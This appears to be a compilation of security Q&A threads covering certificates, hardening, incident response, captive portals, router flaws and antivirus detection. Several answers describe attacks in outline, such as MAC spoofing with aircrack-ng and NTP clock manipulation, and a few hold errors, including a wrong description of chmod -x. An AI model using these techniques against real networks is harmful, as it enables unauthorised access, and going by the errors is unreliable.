What is the security value of chattr +s? Most modern Linux file systems support extended attributes.  +s is secure deletion which ensures (at least intends) that the data in a file is overwritten with zeros when the file is deleted.  Some file systems, NFS for example, do not yet support this feature, but they produce errors if you try to apply the attribute to their files or directories.

It has just come to my attention that certain underlying mechanisms, such as RAID controllers, SAN appliances or mechanical drives with SSD caches, might give a false sense of security by caching writes and possibly writing to different sectors without the logical file system having any visibility into the relocation.

Is this concern real?  Are there real world devices that create this vulnerability?
Assuming such devices exist, do they perform in this manner all the time, or is it a statistical event that occurs occasionally, or is it a fluke that is only seen under special circumstances?

That is correct.

There is no guarantee that the setting of the attribute will cause the complete zeroing of all bytes in all relinquished sectors for all kernel-driver-firmware-hardware combinations.  There is also no guarantee that the cases where it is not guaranteed will be reported to the terminal when the attribute is set.

The +s attribute is a reasonably good idea that may or may not eventually see universal or near universal coverage.

Note that on a correctly configured system, only root has access to the raw device to acquire intact or partially intact sectors that may contain fragments of deleted files.  How much of a concern physical access to the disk or breach of root access is for your particular system plays into the decision making regarding security of these sectors.

For highly critical data where people or organizations may pay for advanced and continuous attack, the use of encryption within the context of a proven effective security protocol is preferable to than relying on chains and layers of software to cooperate to zero all relinquished sectors.

Statistical results from an adequate sample size would be required to answer your second question.  I doubt if an authoritative answer will emerge, simply because it would require a large investment of both time and money to produce the raw data to analyze.


How can I explain self-signed certificates to users? I don't trust certificate authorities, so I'm using a self-signed certificate on my server. The server provides both a website as well as other services.

Most modern SSL-capable software, upon encountering SSL, checks if the certificate is given by a CA and if not throws up a very scary warning. Contrary to Mozilla's logic, I believe that in my case a self-signed certificate is actually more secure, because it avoids the risk of malicious or incompetent CAs.

But let's say I want to give a friend access to my website or my server. Maybe I have a few photos on it from my trip that I want to show them: If I just give them the secure URI, their computer will also throw up the usual warnings. But since unlike me, they weren't the ones who configured everything, how will they know that Everything Is Fine™ (unless the fingerprint doesn't match)?

I could have a little notice in the HTTP version of my page explaining the error, and how to manually verify the fingerprint and make sure that Everything Is Fine. But:

If the connection was compromised, the attacker could just alter this notice to say "nah bro self-signed certs are totally fine, trust me".
If the user goes straight to the HTTPS URI, how will they know to check the HTTP version?
If the user uses a non-web service accessed through its own program, how will they even know about the notice?
If the user doesn't know how SSL works, they'll just believe their browser and close the site, instead of investigating why there is a self-signed cert (since unfortunately the documentation/UI authors' attitude seems to have been "there's no good reason ever").

So how can I ensure that when I send a user to my server, and they are confronted with the "self-signed certificate" warning, they are able to decide for themselves whether to trust it or not, instead of having to believe the skewed picture that their software paints for them?

I don't want to tell users to "just ignore the warning, it's fine", because not only does this reinforce a bad habit in general (what if their CA-verified bank gets compromised one day and presents a self-signed cert?) but also there would be no way for them to tell if my server is compromised.

Also worth mentioning is that the certificates are not forever, and eventually expire, so the user must be able to tell the difference between suspicious change of cert (say well before the planned expiration of the current one), suspicious change of cert that is made to look non-suspicious (a MITM executed just when I was scheduled to renew my cert), legitimate change of cert (when my cert expires and I issue a fresh one), and legitimate change that happens to look suspicious (I decided to issue a new cert way ahead of schedule for whatever reason).

We can assume that:

I have few users, so scalability is not so important. For instance, the users emailing me or calling my phone number to verify the certificate are perfectly valid solutions.
The users trust me and can communicate with me through a secure channel. For example, they can talk to me in person or send me encrypted email.
The users are reasonably intelligent, and can be expected to understand basic security concepts like "if the certificate changes unexpectedly, the site may have been compromised".

My main concern is dealing with less technical users, who would be confused when they see the self-signed certificate warning.

So how can I ensure that when I send a user to my server, and they are confronted with the "self-signed certificate" warning, they are able to decide for themselves whether to trust it or not, instead of having to believe the skewed picture that their software paints for them?

If you are not using pre-defined trust anchors (e.g. the root CA of the browser) you have to find a way to give your users the necessary trust information in a secure way. The preferred way would be of course personal, because any indirect ways like phone call or PGP signed mails need a pre-established trust, e.g. associating phone numbers or keys with you.

  Also worth mentioning is that the certificates are not forever, and eventually expire, so the user must be able to tell the difference between suspicious change of cert...

In this case you have again inform the user about the change in a secure way.

The whole idea of the trusted CA in the browser is to start with some pre-defined trust and then defer trust information about other sites. This is similar to real life: you initially trust some people (parents..) and from them to learn trust other people. But once you abandon any initial trust settings you have to start from zero and thus find your own way to make your users trust you.

If you want to establish your own certificate as trusted you can only start with the existing trust relationships, i.e. friends which know you directly, know your phone number, your PGP key etc. These trust relations then must be used to transport the new trust into your certificate (i.e. fingerprint or similar). The best approach then depends on the kind of trust relations you already have to your friends and which one can be used as the best transport for the new trust.


Web Developer's responsibility for DDoS If my website is targeted for a DDoS attack after I have been paid for completing the website, and I get an angry phone call from the client regarding outage of service, what do I do?

It hasn't actually happened yet, but the idea haunts me.

The following is all hypothetical:

First off you should NEVER sign a SLA in this case, or guarantee any uptime whatsoever. (you are delivering a website, not the service to host that)

Secondly, a hosting company should be used who can defend against a DoS attack in some way. (be aware of SLA's and their limitations)

You need to think of yourself in the same way a plumber does. The plumber is not responsible for your water service, just for leaks and work on the pipes. A DDoS would be like an over pressure on the water lines (like a 1000 times more than they are designed for) and the fact that the pipes break then is not the plumber's fault but the water company's. All the plumber can do is fix it after the water has been turned off.


Removing execute permissions on `/tmp` or mounting it with `noexec` flag? The CIS security benchmark recommends mounting /tmp and all other world writable directories on a separate partition so it could be mounted with the noexec flag.

Since I already have my /tmp mounted in the same partition as / and I would prefer to avoid the hustle of repartitioning, I would like to know what's the difference (in security terms - meaning, the risks) between chmod -R -x /tmp and mounting a separate partition with the noexec flag.

You are actually discussing three separate hardening techniques.

Separate Partitions

Separate partitions does two things for you. It first isolates systems. This can be beneficial in many ways not just security such as for storage concerns. From the security standpoint, you isolate those directories which a globally accessed, and can easily remove, rebuild, and redeploy without the work of you boot partition needing a full rebuild.

Second, backups. It not uncommon to run backup systems across a partition home dir and use a config management tool such as Chef or Puppet on the root system. Roots system configs rarely change, and in a full rebuild situation, it usually becomes more beneficial to deploy "/" files based on Chef or Puppet to maintain standards, than recover users files, other than restoring config files from backup.

Mounting

It's been a while, and I don't have my Nix system in front of me, but should should be able to go into the fstab file and edit the /tmp directory to use the NOEXEC flag. This should not require a separate partition. The flag from the MAN PAGES:

  noexec

  Do not allow direct execution of any binaries on the mounted
  filesystem. (Until recently it was possible to run binaries anyway
  using a command like /lib/ld*.so /mnt/binary. This trick fails since
  Linux 2.4.25 / 2.6.0.)

It does what it says.

CHMOD

Change Mode is used to change permission at the File/Directory level. If you read the man page for chmod, you can see that -x grants executable rights to Files, and ACCESS rights to directories.


How can I proceed with my research on applying machine learning in Cyber Security? I have two years of experience as a pen tester, I want to do masters  in machine learning and security and research in finding ways to tackle current security problems through machine learning. Also do suggest what I can do apart from masters to fulfill my research.

Here's some incomplete answer but that's all I can tell now.

Machine Learning today seems more of the programming framework so it's best suitable for developing new applications, so for this a bit of programming (scripting) is needed.

Machine Learning can solve existing  problems better than previous solutions for example, Spam Filtering, Image Recognition, Speech to Text, Natural Language Processing etc.

However, using machine learning in applications usually means either doing completely new products (design from scratch) or extending existing products.

Machine Learning works on data so there's some data required to do the test and the more of it the better. It can be voice, sound, images, videos, logs, texts, structured documents, tables etc.

Now the thing is since there are many Machine Learning frameworks and services there aren't many applications yet, so the functionality is already built-in into the product like IDS, or it needs to be applied programmatically.

Because programming Machine Learning itself is not the main point but rather using it, the good starting point on seeing how it works and how it can be used is to have a look on Google Cloud Machine Learning.

Google Cloud Machine Learning

However even simple algorithms can be used effectively for example as "log processor" but also database (memory) is also needed.

One of the interesting Machine Learning applications is observing the user on the PC - instead of using more cameras to observe the person, so in this case Machine Learning can be used to analyze the traffic on the net, the web browsing history, what is typed and even what the person can see on the screen.

For example using Machine Learning with the tape archive and regular storage it is possible to analyze the log and predict what data will be required and when so it can be retrieved from tape archive ahead of time (that's the real and tested application example).

Machine Learning could be also to orchestrate all sorts of jobs based on the predictions of the required load - this is the case for some very complicated workflows, loads of them and limited resources, for example the way Google optimized their power management in data centers.

To get the idea first is to get some data first. The log data is ideal point of start. Prediction API seems interesting.
However there are many other products offering similar functionality in machine learning, they usually facilitate real-time data streams like logs, it's good to google for them a bit.

The most popular languages for the job are Java and Python, but many other are used too including C, C++, C#, Go, Ruby, PHP, Perl etc.

So the main point is to invent the application and to do it is to have some data first.


Kerberos: How could an attacker exploit insider access to invalidate tickets for a service? Assume: the attacker has legitimate insider access to a Kerberos system.

Background: The attacker is looking to invalidate all tickets for a service (maybe he really dislikes a service). To do so, he wants to exploit his access to the system in order to mess with the NTP protocol.

Question: How could the user invalidate all of the tickets for the service he does not like?

As the ticket granting server is doing the polling to establish the correct time via the NTP protocol, I don't see how a malicious attacker could invalidate the tickets for a specific service by messing with the timing. Is this possible?

A brief answer here, the linked articles go into much more detail.

A local network attacker could MITM a connection using e.g. using Delorean toolkit. This could then cause a server to set their clock into the past.

When calculating expiry dates for issued certificates and tickets, services will then use an algorithm along the lines of expiry = time + timeout, however if time is the attacker's set time, the expiry date will be in the past and the item will have already expired, meaning it cannot then be used for authentication.

An attacker has successfully denied service to users by causing all authentication services to have issued expired tokens. More details here.


Is it possible for SSL to check certificate hostname against "host" HTTP header instead of URL? This is bit of a follow up question for SSL verification of host name of https server

I'm trying to request a page through HTTPS directly from an IP rather than a hostname. Concerning the answers to the question above I understand why the certificate is based on hostname rather than IP. However, I still want to request the page directly from the IP rather than a hostname, basically bypassing the DNS lookup.

As far as I know, the only way to do this is to avoid validating the certificate. Obviously not the most secure method. Is there a way instead to have SSL check the certificate against the hostname (known to the client) while still requesting an IP directly?

Doing a HTTPS connection to some site is basically done this way:

get the IP address for the target hostname by using DNS
connect with TCP to this IP address
do the SSL handshake over this TCP connection, which includes

optionally include the target hostname with the SNI extension in the start of the handshake (ClientHello). This is needed if multiple servers with different certificates share the same IP address and port.
verify the certificate received from the server within the handshake to see if it is trusted and also if it is valid for the target hostname

once the SSL handshake is done send the HTTP request inside this SSL connection, which includes among other things the Host header

What you effectively want is to skip the DNS lookup (step 1) because you already know the IP address of the target. You still need to all the other steps, notably  3.1 (SNI) and 3.2 (validation of hostname inside certificate).

This is possible but how this is done depends on your programming language and libraries. Most languages make only the common case easy for you (i.e. connect by hostname) and uncommon cases like yours are more complex to implement. For example in Perl you could simply use the following code to connect to a site by IP address, but include the proper SNI extension for the target hostname and also check the certificate against the hostname:

use IO::Socket::SSL 1.971;
my $socket = IO::Socket::SSL->new(
    PeerAddr => '1.2.3.4:443',
    SSL_hostname => 'www.example.com'
);

How this is done in the language of your choice is off-topic here and on-topic at stackoverflow.com.


Incident Response - Which logs are of most interest following a social engineered remote desktop attack Unfortunately, someone in my family fell for a phone scam after data was leaked from TalkTalk. As a result, they allowed remote access to two computers and transferred money from their bank account to the value of over £10,000.

The money will be returned by the bank, however I have the job of trying to figure out what was compromised and I would really appreciate some advice on the following:

When I arrived, windows was protected with Syskey which had been put on by the attacker. The code was already known as the attacker had disclosed it on the phone.

I looked through the browser history and saw the victim downloaded Teamviewer and allowed the remote connection to two machines for a few hours. The Teamviewer log does not indicate any files were transferred, the browser history also does not indicate any files were downloaded other than Teamviewer (of course they could be deleted but I think the victim would question deleting various bits of browser history). Looking through "last modified" files for quite some time, I'm almost certain nothing was installed and looking through the startup and processes running I could not find anything overly suspicious.

The story from the victim is that there was a command prompt on the screen with a flurry of text which looked like file paths flying up the screen on both machines. A Rapport log shows that a virus scan was started at that time on both machines which may have been the that.

Ideally, I'm wanting to find out if files were sent from the attacked computers as there are private items on there. I have been looking for information on a rough estimate of network traffic from the ISP, but even with that information it will be difficult to know as Teamviewer was running. There is not much in terms of browser history other than visiting the banks sites which is all still there, and I have scoured (by eye for some hours) the various windows event logs and not found much of interest (other than finding the teamviewer log and something saying a scan was started).

Without a third party program and using CMD, how could an attacker send files? I would assume FTP as windows has a built in FTP client, but I cannot find any log (nor would I know where it would be if there is one).

My solution so far has been to take images of both disks as a backup and to reinstall windows on both machines fresh and to just move some documents back. Whilst this mostly secures the machines (other than social engineering) it doesn't tell me much about what went on during the Teamviewer session. Unfortunately the victim was well and truly bamboozled so doesn't seem to have a fantastic account of exactly went on other than "a flurry of text which looks like file paths" and a few cd commands.

I suppose my overall question is:

How can files be moved using only built in windows functions and do you know of any logs they would produce? Is there anything else you would check or do? Which various bits of history would you personally check after an attack like this?

I have a full image of both machines and as I was upgrading one to an SSD whilst there, I also have a fully bootable hard drive which hasn't been altered since it was attacked, so logs are generally all still available.

There are simply too many ways to move files into a windows system without leaving much trace.

If you OS is recent, you have powershell installed which cah run HTTP(S) downloads easily and without creating any log, for instance. Or, as you noted, FTP.

A simple way for the scammer to upload and execute some code easily would be to use the clipboard: start a command line and simply paste the script in it. It'll only take a couple of lines to download and execute a program from a web site and the windows prompt does not keep a log of commands it runs.

In your case, I would chose one of the two following options:

You assume that the attacker didn't try to hide his tracks and was just after some easy money (low hanging fruit) and that they didn't actually look any deeper. This is a risky proposition but you might consider it appropriate if no important information was on the system.
You assume the attacker had the tools and skill to perform an in-depth penetration of the system (which is surprisingly easy and quick given today's tools) and must therefore consider any and all information on this machine comprised: any passwords saved or typed, all information contained in document stored or accessible, all account used (including things like cloud storage accounts, etc) and all private key stored locally and not protected by a strong password. Remember that the attacker could also have jumped to other systems accessible from this machine.

I don't think that anything in between these two extremes makes much sense. Which one you chose, however is entirely up to you. In any case, you should perform a full restore of the system (from metal, not from the OS) and reset all local passwords.


Should I use SSL only on my admin subdomain? I have a site at mydomain.com. Users can sign up there to create a simple little site of their own that gets automatically created and can then be found at mydomain.com/name-user-chose

There is an admin section of the site that users can log in to to create and manage their pages.

I want to enable SSL on the site for the log in functionality and because the back end admin section uses Stripe to handle payments. I'm wondering what the best way to handle SSL is in this type of set up. All of the user created pages won't need SSL, nor will the homepage, just the admin section.

That leads me to think that perhaps the best way to handle it is set up a subdomain, perhaps admin.mydomain.com and only use SSL on that subdomain. Handle all of the user login throught that subdomain as well. And leave mydomain.com and all of the user pages  (for instance: mydomain.com/this-is-an-example) as regualar http pages and not SSL.

Would that represent best practices? I know just enough that I know how to implement everything above, but I don't know enough to know whether or not it would be the best way to do things.

This old question popped on the front page and the answer today is clear because...

free Let's Encrypt certificates (even wildcard certificates using DNS-01 challenge)
Mozilla has announced Deprecating Non-Secure HTTP (25 Apr 2015 was before this question!)
Chrome has been Marking HTTP As Non-Secure, all since July 2018 (Phase 3, Chrome 68)

The current best practice is to use TLS for every page & enforce it with HSTS.

...and disable SSL2, SSL3, TLS 1.0 & TLS 1.1 as they are deprecated, too.


What does these warnings mean on an SSL connection by firefox (only) I am connecting to a secure site and firefox mentions about identity:

Owner: This website does not supply ownership information

Verified by: Not specified

Technical Details:
Connection Partially encrypted
Parts of the page you are viewing were not encrypted before transmitted over the internet

What do these warnings mean? I don't see them via IE.
And the connection does not seem to be considered as untrusted in the url bar or any other indication.
The certificate is signed by a trusted CA so what does the Non Specified refers to in the Verified by warning?

Also how can I know which parts of the page were send unencrypted?

Warning 1: Owner: This website does not supply ownership information

This means that the SSL certificate does not specify the organisation that owns it. This can be an important detail, especially in extended verification certs (EV), since it ties the certificate to a real entity.

Warning 2: Verified by: Not specified

This is a really important problem. The certificate does not specify which certificate authority (CA) has signed it. This might mean it's self signed, so you can only rely on the connection for security against passive attackers. An active attacker, i.e. one that performs a man-in-the-middle attack, could generate his own certificate and pretend to be the server.

Warning 3: Connection Partially encrypted - Parts of the page you are viewing were not encrypted before transmitted over the internet.

This means that elements in the page you are viewing are not transferred via SSL. This could mean images, scripts or even CSS files. The problem here is that some traffic will be sent in cleartext, potentially revealing what page you are viewing or more important details, such as cookies.

In summary, this is a very poorly secured SSL setup. You should certainly not use it to input any personal details or potentially sensitive information.


Store SHA256 in sql-server I need to develop a payment gateway and I've just realized I need to store an HMAC_SHA256_V1 key for authentication operations. The way that this is  done is: the browser calls a WCF service that responses with the information signed with my HMAC_SHA256_V1 key and then the browser sends by POST with  a request with that info to open the gateway payment page (by redirect). And that key is the same i have to use to check the payment gateway response.

So, I think I can store that key in a configuration row inside a one row SqlServer table, so here is my question: do I need to take any measure such as encrypt the key or take any action in order to protect this information?

I am a bit unclear as to the workflow, so let me know if I'm off.

I believe the situation is that you are communicating with a service. You make a request to the service and it responds, signing the reply with an HMAC. You then verify that the HMAC is correct to ensure both that the request originated from the service (authenticity) and that it hasn't been modified by an intermediary (integrity).

For an HMAC to be effective, the key must be secret. If the key is not secret, then an attacker can perform modify the message or pretend to be the service such that the recipient cannot tell that tell that they are receiving modified messages or not talking with their desired partner. And if you're willing to give up on both integrity and authenticity, there's no point in using the HMAC at all. So, the HMAC key must be secret to be effective.

Exactly what protections are appropriate to keep the key secret is application dependent. For example, storing it in a database table may lead to it getting exposed if your application has a SQL Injection vulnerability. That seems risky to me if you have an architecture that could be vulnerable to SQLi (I would consider any app that takes user input and uses it as part of a SQL query as potentially vulnerable to SQLi). Storing the key in a disk file could be vulnerable to path traversal attack.

In the end, no system will be perfect. You'll have to tune the amount of security to the sensitivity of your application. One trick is to combine multiple security measures by, for example, storing an encrypted HMAC key in the database and storing the key to decrypt it somewhere else (maybe a file outside of your web root). Then an attacker would need to get both the encrypted HMAC key and its decryption key to execute a successful attack. The further you can separate the HMAC key and its decryption key, the more secure you're app will be (and the less convenient it may become to implement and operate).


What lawful interception standards are used outside Europe? In Europe European Telecommunications Standards Institute (ETSI) define the standard requirements to handle a lawful interception.

It's define all from the terminology and definition to the technical encoding of the payload that will be intercepted and given to the authority.

What standards are used (if there is) in USA and in other major world players like China, Japan, UK, Brazil, Canada, India, Russia, Australia ?

CALEA in the US: http://en.wikipedia.org/wiki/CALEA


Does an image showing exception error on my site pose a prominent security risk? I wrote a small website in PHP and ZF2.

Had a friend test it out by posting a link to it on Facebook.

Apparently I forgot to turn off ZendFramework reporting and he find an error. Posted a photo of the error.

In the photo it is exposed that I'm using ZF2 and my account's username, and paths to error exposing ZF2 file location.

/home/user/public_html,  things like that

Example

An error occurred
Additional information:
Zend\Mail\Transport\Exception\RuntimeException
File:
/home/username/public_html/domain.net/vendor/zendframework/zend-mail/src/Transport/Sendmail.php:290
Message:
Unable to send mail:
Stack trace:
#0 [internal function]: Zend\Mail\Transport\Sendmail->mailHandler('mail <mail@mail...', 'Your ...', 'Your Commission...', 'Date: Sat, 21 M...', ' -fservice@mail...')
#1 /home/username/public_html/domain.net/vendor/zendframework/zend-mail/src/Transport/Sendmail.php(138): call_user_func(Array, 'mail <mail@mail...', 'Your ...', 'Your Commission...', 'Date: Sat, 21 M...', ' -fservice@mail...')
#2 /home/username/public_html/domain.net/module/Commission/src/Mail/Mail.php(22): Zend\Mail\Transport\Sendmail->send(Object(Zend\Mail\Message))

(username and domain and emails in message above are altered)

Is the text on the photo endangering my security?

Do I ask him to take it down?

You shouldn't show exceptions to users, and it does have a slight impact on security.

I'm assuming that you disabled exceptions, and are now worried about the data that is leaked via the screenshot:

Leaked Username

Usernames aren't generally considered sensitive information.

You may still want to keep it secret as defense in depth, to make some attacks such as bruteforce, phishing, or privilege escalation more difficult, but leaking a username is generally not considered a security issue.

Leaked absolute Paths

Full Path Disclosure may:

aid in the exploitation of LFI vulnerabilities. [Although an attacker may be able to exploit LFI without knowing the absolute path, or may guess the correct path themselves.]
provide information about the operating system. [This may help in discovering further vulnerabilities, or may aid in the exploitation of other existing vulnerabilities.]
leak system usernames. [see above.]
leak names of secret public directories and thus lead to disclosure of sensitive information. [although you shouldn't rely on the secrecy of a publicly accessibly directory to protect you; security through obscurity shouldn't be your main line of defense.]

Conclusion

On it's own, it is very unlikely that the leaked information can be used to start an attack. However, it may make other existing vulnerabilities slightly easier to exploit or aid in finding further vulnerabilities.

It is generally preferred to keep this information private, so you may want to change your username as well as the paths, but if it is not easily doable, the security of your server will not be severely impacted if you don't.


Check validity of SSL cert on public network? So my company has just started issuing their own SSL certificates, so HTTPS sites now show as being secure, but if you check the certificate used the root CA is us, not whoever the site used.

This got me thinking, if I was on a public network somewhere, could they issue their own certificate making it appear trusted, and therefore giving me a green padlock on my bank site for example?

After typing this, I believe I may know the answer to my own question... does it appear trusted because of a group policy telling the PC to trust the cert? So mobile phones (or devices that aren't joined to AD) would say every HTTPS site is insecure?

If this were to happen on a public network, how would you ensure safety? Would a VPN still protect you, or would they be able to intercept that too?

This got me thinking, if I was on a public network somewhere, could they issue their own certificate making it appear trusted, and therefore giving me a green padlock on my bank site for example?

Yes.

  does it appear trusted because of a group policy telling the PC to trust the cert?

Yes. (Or some other mechanism telling the PC to trust the cert. By default it won't be trusted)

  So mobile phones (or devices that aren't joined to AD) would say every HTTPS site is insecure?

Yes.

  If this were to happen on a public network, how would you ensure safety?

If you don't want your company to be able to intercept your traffic, don't use their equipment, and don't install their root certificate on your equipment.

  Would a VPN still protect you, or would they be able to intercept that too?

Depends on the VPN.

  How can a public network install a cert on your computer?

It can't, unless it uses some kind of exploit (similar to the way viruses propagate). That is much less likely to happen now than it was in the past.

  How would a VPN protect against a rogue cert once it's installed?

By not trusting the certificate. Nothing forces a program to trust all installed certificates.


how wifi web authentication works? Some wifi are open networks, but when we connect, it redirects to a web page for authentication. How does this work? how the future packets will be authenticated? Does it bind IP and MAC address (which can be easily spoofed)?

Yes, it works by remembering your MAC address. When you connect to a router – a firewall redirects you to a web page for authentication. If you pass authentication step then your MAC address is added to the whitelist.

It doesn't necessary map your MAC address to a specific IP. It just redirects all http(s) traffic to the authentication page if the MAC address is not in the whitelist.

Yes, MAC address can be spoofed easily. Using aircrack-ng toolkit you can monitor nearby clients connected to the WiFi and use their MAC address to skip the authentication.


How to protect from ROM-0 via port triggering? I'm using an anti-virus that told me that my router can be compromised with the ROM-0 vulnerability.

It told me to use "port forwarding" to fix it. But, my router have a "port triggering", which they say is an upgrade from "port forwarding"

I tried to look around the web for tutorials to fix it, but I couldn't find it (you can find tons of port forwarding tutorials, but almost none for port triggering).

Can someone help me to address fix the vulnerability? (also as a tutorial for the the other people who also have port triggering)

Information:

The anti-virus told me do 2 things:

Forward port 80 on the router to a non-used IP address on your network.
Enter your router configuration and go to “Port forwarding” configuration.
Send all http traffic, of all protocols, to star and end port 80 in a non-used local IP address (something like 192.168.0.xxx, where xxx would be a non-used IP).

In my router, I can set a port triggering rule, that have these areas:

Start match port
End match port
Trigger Protocol (UDP, TCP or both)
Start relate port
End relate port
Open protocol (UDP, TCP or both)
NAT type (outgoing or incoming)

Router: D-link DIR-610 B1
Couldn't find info in english for the documentation (It's in Portuguese only): http://www.dlink.com.br/produto/dir-610-b1

EDIT: Do I really need to know the model to fix the vulnerability?
Isn't there any type of general fix for routers?

[ed: this is a copy of a duplicate question of the same name, but this one is associated with a registered user]

Google suggests two slightly different vulnerabilities when queried about Rom-0, best explicated here:

http://www.dlink.com/it/it/support/support-news/2015/july/14/misfortune-cookie-rompager-vulnerabilitily-allegro-rompager-vulnerability-rom0-athentication-bypass

and here:

https://k0st.wordpress.com/2015/07/05/identifying-and-exploiting-rom-0-vulnerabilities/

In both of these cases there are a number of reasons that antivirus software running on a laptop or desktop in your home network may not be correct in signaling the presence of this issue with your home router. If you are running the latest version of your router's firmware, and it has a publication date of late 2015 or 2016, it is unlikely to be affected by this issue, regardless of whatever is being reported by antivirus software.

Should this vulnerability nevertheless exist in your router, the common method of exploitation involves some attacker on the internet sending a compromising request to your router. This ONLY works if your router is configured to listen to external requests, a configuration feature usually called "remote management." Ensure that this feature is disabled in your router's admin panel. This is the best mitigation for this issue and for many others.

The mitigation suggested by the antivirus software, to stand up port forwarding, is much worse than disabling remote management. Even in the presence of this vulnerability and some inability to disable remote management, the efficacy of port forwarding against attacks like this depends on specific implementation details of the router. It may have been discovered that it was effective for one particular flavor of the vulnerability but that doesn't guarantee it would be effective against another. What port forwarding does do is enable someone outside your network to send traffic into your network, which is almost never a good idea.

The best approach with a router that doesn't have updated firmware and that can't disable remote management is to get another router.

Finally, port triggering is a different feature than port forwarding and cannot be used to mimic port forwarding.

The semantics of the suggested port forwarding rules are that requests from outside your home network arriving on port 80 on the outside of your router should be "sinkholed" or sent to some non-existent destination inside your home network- the implication being that they will be sent inside your network rather than being processed by your router (which could lead to your router being exploited). As above, whether or not this mitigation would work in practice depends on the implementation details of the router. And again, a much more effective mitigation is to disable remote management, which tells your router to not listen at all to requests originating outside your network.

The semantics of port triggering are that requests from inside your home network that go out on a specific port trigger the router to open specific external ports and forward incoming requests on them to the machine inside the network from which the triggered request originated.

Port triggering is not activated by requests arriving at your router from the outside, and the effect of opening external ports and forwarding external requests in your machine inside your network is the opposite of sinkholing.

The one use case for port triggering is gaming, in which a specific kind of outgoing request informs the router that a game is beginning, so incoming traffic associated with the game should be passed along to the gaming machine.


Uncover data in file slack Today in class we learned about how information can be uncovered in a file slack. I understand this theoretically, given the physical and logical file size I can come up with the slack space of a file. However, how can I uncover this information in the slack space if I wanted to know if there is anything valuable in a certain file slack? I've been using a hex editor to look at the disk and the files but I am not sure where to go from here. I heard that enCase is a good resource, however I am not able to find the link to download on Ubuntu or Mac for free

I think you want Filesystem Slack. As Xaqron says, you will need a hex editor that can open drives, because opening up a file will only help you with File Slack, not Filesystem Slack.

Preferably you should use a Hex editor that shows the ASCII characters at the same time as the hex data.

Manual review using Hex editor

Once you have such an editor, you have to find out what you are looking for?

Let's imagine that you are looking for a Word document that has been erased. The best way to start is to look at a Word document with a Hex Editor, and then find some kind of code at the very beginning of the file, which you will likely see on all word documents.

Once you find such code, you will be able to search for this in the slack space.

One problem you will find is that opening a drive directly will show you all data, both Allocated and Slack. Unfortunately, it is difficult for a human to distinguish which is which. For example, if there are some real Word documents, as well as deleted ones, then how could you tell the difference? This would be very difficult.

Perhaps you will instead need to search for key words or phrases that you are interested in. Keep in mind, that some documents will encode the text differently. Again, you should compare what non-deleted files look like before searching this in Slack space.

The same principals apply for any document type, not just Word. For example Image files often have a few bytes at the beginning that you can use to tell what type of file it was. Unfortunately, images are heavily encoded so you cannot search their contents.

Some files like txt do not have such identification, but are also very light on the encoding, so they are easier to find in slack space.

Keep in mind that Slack Space will often be a mess, with partially overwritten or expired chunks of files. De-fragmentation processes or re-allocation to other files can introduce gaps in what you are able to recover.

Tools

A couple more things come to mind.

There may be a specialized hex editor or other tool available that will highlight and search Slack Space separately from Allocated Space. I don't know if there is one, but it seems like there would be. This would really help your manual review process.
There are applications designed to identify and restore files out of Slack Space. These automated tools (restore deleted files) are readily available and are the easiest way to get something productive done.


How private is the data I type in Chrome address bar? Sometimes, I paste some data in a Chrome tab address bar as a temporary storage. It usually happens when I want to save more then one thing in the clipboard. It's handy because I am always with Chrome opened and the bar has some nice "features" as striping off any formatting the data had had from its source.

I also do that trick with sensitive data such as a password I am copying from a password generator.

I never pressed ENTER while the information stood on the bar, so I thought I was safe. But now I've just realized that these bars are not exactly "neutral". For example, the search suggestions feature probably reads the data I typed there and sends it to Google servers, even before I pressed ENTER.

Does someone with more knowledge on Chromium project know how private is data typed in a address bar before one presses ENTER?

I think you answered your own question:

  But now I've just realized that these bars are not exactly "neutral". For example, the search suggestions feature probably reads the data I typed there and sends it to Google servers, even before I pressed ENTER.

I would not consider your address bar secure or private. Google Chrome will send your address bar searches to your default search engine and you’ll see suggestions as you type. There is another risk when you might actually press enter by accident or that someone else sees your password in plain text. If you type a web address wrong—Chrome will send the address of the page to Google as well (so Google can suggest similar addresses you may have meant to type).

I would suggest you use a other tools such as a clipboard manager to mimic the same trick more securely. Please note I do not know which clipboard managers are actually secure, you would have to research this yourself.

Please note you can disable the prediction service and navigation service mentioned above within your browser, but I don't believe you can fully trust your URL bar to be secure and private.


What patterns does a signature based anti-virus look for? I'm working on a uni project where I will attempt to create a malware that uses some form of genetic algorithm to "evolve" itself out of being recognized by a signature based AV software.

For this I will need to code my own small AV programmed to detect the strain of malware. So my question is, what patterns do signature based AV look for?

I can think of strings of text in the file, size of the file.

Most antivirus solutions use a variety of techniques to identify malware.

The simplest (and oldest) approach is to use signatures of known malware such as MD5/SHA1 hashes, or specific strings in binaries.  This technique worked more successfully with older malware which didn't have the number of variants we see today.

Next we have heuristic static analysis.  This works by scanning files and looking for suspicious features such as packers, obscured code, specific library imports, etc.  You could say this is the closest to the "patterns" you are talking about.  One could write malware and tweak it until it isn't detected by the most common malware heuristics.  These patterns and algorithms are closely guarded secrets of each antivirus vendor and they are unlikely to share them beyond generic explanations.

The last form of malware identification is through dynamic heuristic analysis.  This is when malware is run in a sandbox, and the antivirus looks at what the software does.  It looks at the libraries it calls, the actions it performs, whether it tries to hide itself, if it makes registry entries etc.  There are lots of ways to avoid identification through dynamic analysis which are too in depth for this answer, suffice it to say that it can by bypassed.

TL;DR Nobody can tell you exactly what the patterns are for each antivirus program.  There are some generic things they all look for, but the specifics are secrets.


How to report error if redirect_uri doesn't match? How should the auth server (IDP) report the error if the authorisation request redirect_uri doesn't match the configured redirect_uri for the given client?

Let's consider concrete example:

auth.com is the IDP
service.com if the registered redirect_uri
service.io if passed in the authorisation request

Should the auth server:

stay on auth.com and show error?
redirect to service.com/?error=xxx?
redirect to service.io/?error=xxx?

Option 1. seems secure, but UX is subpar — the auth server can only render generic failure that end user cannot do anything about, the requestor doesn't get an error notification and end user cannot try some other authentication method if there were multiple choices

Option 2. seems secure but a bit odd, possibly leaving end user confused (if real and fake sites look same), and I wonder if there's an attack vector I didn't think of...

Option 3. seems quite insecure, certainly auth server should not be redirecting end user to http://localhost or ftp:// or fb.com/post/new, but it does allow for the misconfigured service to learn about the error. I feel that's especially important if the service is e.g. a mobile app with custom URI scheme.

I've skimmed through OAuth 2.0 and OIDC Core specs and so far couldn't figure this out. A canonical answer would be grand!

According to the specification, you should display an error message on the authorization server (option 1):

  If the request fails due to a missing, invalid, or mismatching
  redirection URI, or if the client identifier is missing or invalid,
  the authorization server SHOULD inform the resource owner of the
  error and MUST NOT automatically redirect the user-agent to the
  invalid redirection URI.


